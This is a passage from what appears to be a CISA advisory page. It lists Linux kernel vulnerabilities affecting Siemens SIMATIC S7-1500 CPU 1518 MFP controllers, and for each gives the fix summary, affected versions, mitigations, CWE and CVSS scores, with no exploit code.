</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21745</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: blk-cgroup: Fix class @block_class's subsystem refcount leakage blkcg_fill_root_iostats() iterates over @block_class's devices by class_dev_iter_(init|next)(), but does not end iterating with class_dev_iter_exit(), so causes the class's subsystem refcount leakage. Fix by ending the iterating with class_dev_iter_exit().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21745">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/401.html">CWE-401 Missing Release of Memory after Effective Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21758</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv6: mcast: add RCU protection to mld_newpack() mld_newpack() can be called without RTNL or RCU being held. Note that we no longer can use sock_alloc_send_skb() because ipv6.igmp_sk uses GFP_KERNEL allocations which can sleep. Instead use alloc_skb() and charge the net-&gt;ipv6.igmp_sk socket under RCU protection.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21758">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21760</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ndisc: extend RCU protection in ndisc_send_skb() ndisc_send_skb() can be called without RTNL or RCU held. Acquire rcu_read_lock() earlier, so that we can use dev_net_rcu() and avoid a potential UAF.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21760">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21764</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ndisc: use RCU protection in ndisc_alloc_skb() ndisc_alloc_skb() can be called without RTNL or RCU being held. Add RCU protection to avoid possible UAF.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21764">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21765</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv6: use RCU protection in ip6_default_advmss() ip6_default_advmss() needs rcu protection to make sure the net structure it reads does not disappear.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21765">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21780</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: avoid buffer overflow attach in smu_sys_set_pp_table() It malicious user provides a small pptable through sysfs and then a bigger pptable, it may cause buffer overflow attack in function smu_sys_set_pp_table().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21780">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/120.html">CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21795</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: NFSD: fix hang in nfsd4_shutdown_callback If nfs4_client is in courtesy state then there is no point to send the callback. This causes nfsd4_shutdown_callback to hang since cl_cb_inflight is not 0. This hang lasts about 15 minutes until TCP notifies NFSD that the connection was dropped. This patch modifies nfsd4_run_cb_work to skip the RPC call if nfs4_client is in courtesy state.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21795">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21796</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: nfsd: clear acl_access/acl_default after releasing them If getting acl_default fails, acl_access and acl_default will be released simultaneously. However, acl_access will still retain a pointer pointing to the released posix_acl, which will trigger a WARNING in nfs3svc_release_getacl like this: ------------[ cut here ]------------ refcount_t: underflow; use-after-free. WARNING: CPU: 26 PID: 3199 at lib/refcount.c:28 refcount_warn_saturate+0xb5/0x170 Modules linked in: CPU: 26 UID: 0 PID: 3199 Comm: nfsd Not tainted 6.12.0-rc6-00079-g04ae226af01f-dirty #8 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.1-2.fc37 04/01/2014 RIP: 0010:refcount_warn_saturate+0xb5/0x170 Code: cc cc 0f b6 1d b3 20 a5 03 80 fb 01 0f 87 65 48 d8 00 83 e3 01 75 e4 48 c7 c7 c0 3b 9b 85 c6 05 97 20 a5 03 01 e8 fb 3e 30 ff &lt;0f&gt; 0b eb cd 0f b6 1d 8a3 RSP: 0018:ffffc90008637cd8 EFLAGS: 00010282 RAX: 0000000000000000 RBX: 0000000000000000 RCX: ffffffff83904fde RDX: dffffc0000000000 RSI: 0000000000000008 RDI: ffff88871ed36380 RBP: ffff888158beeb40 R08: 0000000000000001 R09: fffff520010c6f56 R10: ffffc90008637ab7 R11: 0000000000000001 R12: 0000000000000001 R13: ffff888140e77400 R14: ffff888140e77408 R15: ffffffff858b42c0 FS: 0000000000000000(0000) GS:ffff88871ed00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000562384d32158 CR3: 000000055cc6a000 CR4: 00000000000006f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: ? refcount_warn_saturate+0xb5/0x170 ? __warn+0xa5/0x140 ? refcount_warn_saturate+0xb5/0x170 ? report_bug+0x1b1/0x1e0 ? handle_bug+0x53/0xa0 ? exc_invalid_op+0x17/0x40 ? asm_exc_invalid_op+0x1a/0x20 ? tick_nohz_tick_stopped+0x1e/0x40 ? refcount_warn_saturate+0xb5/0x170 ? refcount_warn_saturate+0xb5/0x170 nfs3svc_release_getacl+0xc9/0xe0 svc_process_common+0x5db/0xb60 ? __pfx_svc_process_common+0x10/0x10 ? __rcu_read_unlock+0x69/0xa0 ? __pfx_nfsd_dispatch+0x10/0x10 ? svc_xprt_received+0xa1/0x120 ? xdr_init_decode+0x11d/0x190 svc_process+0x2a7/0x330 svc_handle_xprt+0x69d/0x940 svc_recv+0x180/0x2d0 nfsd+0x168/0x200 ? __pfx_nfsd+0x10/0x10 kthread+0x1a2/0x1e0 ? kthread+0xf4/0x1e0 ? __pfx_kthread+0x10/0x10 ret_from_fork+0x34/0x60 ? __pfx_kthread+0x10/0x10 ret_from_fork_asm+0x1a/0x30 Kernel panic - not syncing: kernel: panic_on_warn set ... Clear acl_access/acl_default after posix_acl_release is called to prevent UAF from being triggered.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21796">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21802</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: hns3: fix oops when unload drivers paralleling When unload hclge driver, it tries to disable sriov first for each ae_dev node from hnae3_ae_dev_list. If user unloads hns3 driver at the time, because it removes all the ae_dev nodes, and it may cause oops. But we can't simply use hnae3_common_lock for this. Because in the process flow of pci_disable_sriov(), it will trigger the remove flow of VF, which will also take hnae3_common_lock. To fixes it, introduce a new mutex to protect the unload process.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21802">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/413.html">CWE-413 Improper Resource Locking</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21814</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ptp: Ensure info-&gt;enable callback is always set The ioctl and sysfs handlers unconditionally call the -&gt;enable callback. Not all drivers implement that callback, leading to NULL dereferences. Example of affected drivers: ptp_s390.c, ptp_vclock.c and ptp_mock.c. Instead use a dummy callback if no better was specified by the driver.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21814">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21846</a></h3>
<div class="csaf-accordion-content">
